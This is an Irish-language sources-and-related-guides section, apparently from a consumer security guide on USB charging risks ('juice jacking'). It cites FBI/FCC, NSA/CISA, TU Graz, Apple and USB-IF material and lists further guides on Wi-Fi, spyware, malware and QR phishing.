Foinsí seiceáilte¶

• Biúró Chónaidhme Imscrúdaithe (FBI) & An Coimisiún Cónaidhme Cumarsáide (FCC) (Stáit Aontaithe Mheiriceá): Fógraí Seirbhíse Poiblí ar Rioscaí Poiblí Stáisiúin Muirir USB ("Juice Jacking") agus Ionchlannáin Crua-earraí Mailíseacha.
• An Ghníomhaireacht Náisiúnta Slándála (NSA) & An Ghníomhaireacht um Chibearshlándáil agus Bonneagar (CISA) (Stáit Aontaithe Mheiriceá): Dea-Chleachtais Ghléis Soghluaiste: Taisteal go Sábháilte le Fóin Póca, Ríomhairí Glúine, agus Forimeallaigh USB.
• Ollscoil Teicneolaíochta Graz (TU Graz Grúpa Taighde InfoSec): ChoiceJacking: Ag cur isteach ar Ghléasanna Soghluaiste trí Luchtairí Mailíseacha trí Instealladh HID USB (Siompóisiam Slándála USENIX).
• Treoir Slándála Apple Platform: Mód Srianta USB, Rochtana Gabhálais Nuair atá Faoi Ghlas, agus MacOS Apple Silicon USB/Thunderbolt Ailtireacht Údaraithe Cúlpháirtí.
• Fóram Feidhmitheoirí USB (USB-IF): * Fíordheimhniú Cineál-C USB, Seachadadh Cumhachta (USB PD), agus Gléas Comhéadain Daonna (HID Aicme 0x03) Sonraíochtaí*.

Treoracha gaolmhara¶

• Wi-Fi poiblí, hotspots Evil Twin, agus cosaint jacking sú
• Fuadach fianán seisiúin, bogearraí mailíseacha infostealer, agus cúlghairm comharthaí
• Aimsíonn earraí spiaireachta, earraí spiaireachta agus logálaithe ar ghutháin
• Ionfhabhtú malware, earraí ransom, agus earraí spiaireachta
• Fioscaireacht cód QR (quising) agus athsheolaidh mailíseach
• Uimhreacha éigeandála de réir tíre